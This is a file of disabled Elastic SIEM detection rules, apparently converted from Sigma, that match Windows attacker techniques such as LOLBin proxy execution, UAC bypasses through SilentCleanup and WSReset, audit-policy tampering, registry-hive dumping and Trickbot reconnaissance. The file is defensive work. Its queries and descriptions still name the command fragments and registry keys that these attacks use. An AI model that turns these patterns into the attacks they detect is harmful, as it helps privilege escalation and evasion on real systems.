{"description":"The OpenWith.exe executes other binary Author: Beyu Denis, oscd.community (rule), @harr0ey (idea). License: ","enabled":false,"false_positives":["Legitimate use of OpenWith.exe by legitimate user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cec8e918-30f7-4e2d-9bfa-a59cc97ae60f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"OpenWith.exe Executes Specified Binary","query":"(process.executable:*\\\\OpenWith.exe AND process.command_line:*\\/c*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"The psr.exe captures desktop screenshots and saves them on the local machine Author: Beyu Denis, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2158f96f-43c2-43cb-952a-ab4580f32382","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Psr.exe Capture Screenshots","query":"(process.executable:*\\\\Psr.exe AND process.command_line:*\\/start*)","meta":{"from":"1m"},"severity":"medium","tags":["T1113"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1113","name":"Screen Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr Author: Sreeman. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cc4e02ba-9c06-48e2-b09e-2500cace9ae0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Tasks Folder Evasion","query":"(process.command_line:(*echo\\ * OR *copy\\ * OR *type\\ * OR *file\\ createnew*) AND process.command_line:(*\\ C\\:\\\\Windows\\\\System32\\\\Tasks\\\\* OR *\\ C\\:\\\\Windows\\\\SysWow64\\\\Tasks\\\\*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"There is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"87acf7fd-e37d-cd45-83b6-71f8b50c3b6c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Bypass UAC Using SilentCleanup Task","query":"(winlog.event_data.TargetObject:*\\\\Environment\\\\windir AND winlog.event_data.Details:*&REM* AND winlog.event_data.EventType:\"SetValue\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger. This option may be used adversaries to execute malicious code by signed verified binary. The debugger is installed alongside with Microsoft Visual Studio package. Author: Agro (@agro_sev), Ensar Åžamil (@sblmsrsn), oscd.community. License: ","enabled":false,"false_positives":["the process spawned by vsjitdebugger.exe is uncommon."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"15c7904e-6ad1-4a45-9b46-5fb25df37fd2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Malicious PE Execution by Microsoft Visual Studio Debugger","query":"(process.parent.executable:*\\\\vsjitdebugger.exe AND (NOT ((process.executable:*\\\\vsimmersiveactivatehelper*.exe OR process.executable:*\\\\devenv.exe))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"This is an unusual method to download files. It starts a browser headless and downloads a file from a location. This can be used by threat actors to download files. Author: Sreeman, Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0e8cfe08-02c9-4815-a2f8-0d157b7ed33e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"File Download with Headless Browser","query":"(process.executable:(*\\\\msedge.exe OR *\\\\chrome.exe) AND process.command_line:*\\-\\-headless* AND process.command_line:*dump\\-dom* AND process.command_line:*http*)","meta":{"from":"1m"},"severity":"high","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks. Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"033fe7d6-66d1-4240-ac6b-28908009c71f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"APT29","query":"(process.command_line:*\\-noni* AND process.command_line:*\\-ep* AND process.command_line:*bypass* AND process.command_line:*$*)","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule detects cor_enable_profiling and cor_profiler environment variables being set and configured. Author: Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"387dfa98-c404-830b-a04c-a1436f75e9a0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Enabling COR Profiler Environment Variables","query":"winlog.event_data.TargetObject:(*\\\\COR_ENABLE_PROFILING OR *\\\\COR_PROFILER)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule detects DLL injection and execution via LOLBAS - Tracker.exe Author: Avneet Singh @v3t0_, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"148431ce-4b70-403d-8525-fcc2993f29ea","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"DLL Injection with Tracker.exe","query":"((process.executable:*\\\\tracker.exe OR winlog.event_data.Description:\"Tracker\") AND process.command_line:*\\ \\/d\\ * AND process.command_line:*\\ \\/c\\ *)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs. Author: Agro (@agro_sev) oscd.community. License: ","enabled":false,"false_positives":["Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0152550d-3a26-4efd-9f0e-54a0b28ae2f3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Detection of PowerShell Execution via Sqlps.exe","query":"((process.executable:*\\\\sqlps.exe OR process.parent.executable:*\\\\sqlps.exe) OR (winlog.event_data.OriginalFileName:\"\\\\sqlps.exe\" AND (NOT (process.parent.executable:*\\\\sqlagent.exe))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059","T1127"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1127","name":"Trusted Developer Utilities Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs. Author: Agro (@agro_sev) oscd.communitly. License: ","enabled":false,"false_positives":["Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a746c9b8-a2fb-4ee5-a428-92bee9e99060","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"SQL Client Tools PowerShell Session Detection","query":"((process.executable:*\\\\sqltoolsps.exe OR process.parent.executable:*\\\\sqltoolsps.exe) OR (winlog.event_data.OriginalFileName:\"\\\\sqltoolsps.exe\" AND (NOT (process.parent.executable:*\\\\smss.exe))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059","T1127"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1127","name":"Trusted Developer Utilities Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry. Author: oscd.community, Natalia Shornikova. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c7746503-26e1-dcac-1649-f46c0b6b4a13","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution DLL of Choice Using WAB.EXE","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\WAB\\\\DLLPath) AND (NOT (winlog.event_data.Details:\"%CommonProgramFiles%\\\\System\\\\wab32.dll\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule detects the execution of Run Once task as configured in the registry Author: Avneet Singh @v3t0_, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"198effb6-6c98-4d0c-9ea3-451fa143c45c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Run Once Task Execution as Configured in Registry","query":"((process.executable:*\\\\runonce.exe OR winlog.event_data.Description:\"Run\\ Once\\ Wrapper\") AND process.command_line:*\\ \\/AlternateShellStartup*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule looks for Windows Installer service (msiexec.exe) spawned command line and/or powershell Author: Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community. License: ","enabled":false,"false_positives":["Penetration test"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1e53dd56-8d83-4eb4-a43e-b790a05510aa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Always Install Elevated MSI Spawned Cmd And Powershell","query":"(process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe) AND process.parent.executable:*\\\\Windows\\\\Installer\\\\* AND process.parent.executable:*msi* AND process.parent.executable:*tmp)","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule looks for Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege Author: Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community. License: ","enabled":false,"false_positives":["System administrator Usage","Penetration test"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f351d699-a7f5-3336-2e22-f0b2eb25516a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Always Install Elevated Windows Installer","query":"((user.name:(*AUTHORI* OR *AUTORI*) AND ((process.executable:*\\\\Windows\\\\Installer\\\\* AND process.executable:*msi* AND process.executable:*tmp) OR (process.executable:*\\\\msiexec.exe AND IntegrityLevel:\"System\"))) AND (NOT (process.command_line:*\\\\system32\\\\msiexec.exe\\ \\/V OR process.parent.command_line:*\\\\system32\\\\msiexec.exe\\ \\/V)))","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated. Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2337e9ca-7dbd-95c4-0ed9-709665e9cab0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"New Lolbin Process by Office Applications","query":"(process.executable:(*regsvr32 OR *rundll32 OR *msiexec OR *mshta OR *verclsid) AND process.parent.executable:(*winword.exe OR *excel.exe OR *powerpnt.exe))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1047","T1204","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1204","name":"User Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice. Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3ab423b9-cb12-c777-4934-2a137ce540a3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Created Files by Office Applications","query":"((process.executable:(*winword.exe OR *excel.exe OR *powerpnt.exe) AND file.path:(*.exe OR *.dll OR *.ocx OR *.com OR *.ps1 OR *.vbs OR *.sys OR *.bat OR *.scr OR *.proj)) AND (NOT ((file.path:*C\\:\\\\Users\\\\* AND file.path:*\\\\AppData\\\\Local\\\\Microsoft\\\\Office\\\\* AND file.path:*\\\\WebServiceCache\\\\AllUsers* AND file.path:*.com))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1047","T1204","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1204","name":"User Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"This rule will monitor LOLBin process creations by wmiprvse. Add more LOLBins to rule logic if needed. Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0d241481-58bf-26b7-acbb-f2868e0e5cee","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Lolbins Process Creation with WmiPrvse","query":"(process.executable:(*regsvr32 OR *rundll32 OR *msiexec OR *mshta OR *verclsid) AND process.parent.executable:*\\\\wbem\\\\WmiPrvSE.exe)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1047","T1204","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1204","name":"User Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2d0ac888-19a4-bab9-f322-18dcbb8db48c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Execution of Adidnsdump","query":"(process.executable:*\\\\python.exe AND process.command_line:*adidnsdump*)","meta":{"from":"1m"},"severity":"low","tags":["T1018"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1018","name":"Remote System Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor. Author: Nasreddine Bencherchali @nas_bench. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c6c56ada-612b-42d1-9a29-adad3c5c2c1e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious NT Resource Kit Auditpol Usage","query":"process.command_line:(*\\/logon\\:none* OR *\\/system\\:none* OR *\\/sam\\:none* OR *\\/privilege\\:none* OR *\\/object\\:none* OR *\\/process\\:none* OR *\\/policy\\:none*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Threat actors can use auditpol binary to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor. Author: Janantha Marasinghe (). License: ","enabled":false,"false_positives":["Admin activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9dd37f1e-0fdf-a178-36d5-39738085214b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Auditpol Usage","query":"(process.executable:*\\\\auditpol.exe AND process.command_line:(*disable* OR *clear* OR *remove* OR *restore*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Threat actors can use the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery. Author: Nasreddine Bencherchali @nas_bench. License: ","enabled":false,"false_positives":["Another tool that uses the command line switches of PsLogList","Legitimate use of PsLogList by an administrator"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aae1243f-d8af-40d8-ab20-33fc6d0c55bc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Use of PsLogList","query":"((winlog.event_data.OriginalFileName:*psloglist* OR process.executable:(*\\\\psloglist.exe OR *\\\\psloglist64.exe)) OR (process.command_line:(*\\-d* OR *\\/d* OR *\\-x* OR *\\/x* OR *\\-s* OR *\\/s*) AND process.command_line:*security* AND process.command_line:*accepteula*))","meta":{"from":"1m"},"severity":"medium","tags":["T1087","T1087","T1087"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1087","name":"Account Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"dd3ee8cc-f751-41c9-ba53-5a32ed47e563","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Reg Add Open Command","query":"(process.command_line:*reg* AND ((process.command_line:*add* AND process.command_line:*hkcu\\\\software\\\\classes\\\\ms\\-settings\\\\shell\\\\open\\\\command* AND process.command_line:*\\/ve\\ * AND process.command_line:*\\/d*) OR (process.command_line:*add* AND process.command_line:*hkcu\\\\software\\\\classes\\\\ms\\-settings\\\\shell\\\\open\\\\command* AND process.command_line:*\\/v* AND process.command_line:*DelegateExecute*) OR (process.command_line:*delete* AND process.command_line:*hkcu\\\\software\\\\classes\\\\ms\\-settings*)))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes. This detectors attempts to identify that activity based off a command rarely observed in an enterprise network. Author: David Burkett, Florian Roth. License: ","enabled":false,"false_positives":["Rare System Admin Activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bbaf4277-a851-2fae-b4d6-a1f7aaf61901","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Trickbot Malware Recon Activity","query":"(process.parent.executable:*\\\\cmd.exe AND process.executable:*\\\\nltest.exe AND process.command_line:*\\/domain_trusts\\ \\/all_trusts*)","meta":{"from":"1m"},"severity":"critical","tags":["T1482"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1482","name":"Domain Trust Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Unfixed method for UAC bypass from windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry. Author: oscd.community, Dmitry Uchakin. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ad4dc034-72c6-f40e-7a4b-40b9b802de80","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Via Wsreset","query":"winlog.event_data.TargetObject:*\\\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\\\Shell\\\\open\\\\command","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Uninstall an application with wmic Author: frac113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"de9fa8ae-27a2-edcf-c3eb-3e911e12b1a4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"WMI Uninstall An Application","query":"(process.executable:*\\\\WMIC.exe AND process.command_line:*call\\ uninstall*)","meta":{"from":"1m"},"severity":"medium","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Upload file, credentials or data exfiltration with Binary part of Windows Defender Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1f0f6176-6482-4027-b151-00071af39d7e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious ConfigSecurityPolicy Execution","query":"(process.command_line:*ConfigSecurityPolicy.exe* AND process.command_line:(*https\\:\\/\\/* OR *http\\:\\/\\/* OR *ftp\\:\\/\\/*))","meta":{"from":"1m"},"severity":"medium","tags":["T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
{"description":"Use \">\" to redicrect information in commandline Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4f4eaa9f-5ad4-410c-a4be-bc6132b0175a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Redirect Output in CommandLine","query":"(process.executable:*\\\\cmd.exe AND process.command_line:*>*)","meta":{"from":"1m"},"severity":"low","tags":["T1082"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1082","name":"System Information Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Use dir to collect information Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7c9340a9-e2ee-4e43-94c5-c54ebbea1006","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious DIR Execution","query":"(process.command_line:*dir\\ * AND process.command_line:*\\ \\/s* AND process.command_line:*\\ \\/b*)","meta":{"from":"1m"},"severity":"low","tags":["T1217"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1217","name":"Browser Bookmark Discovery","reference":""}]}],"version":1,"references":[""]}
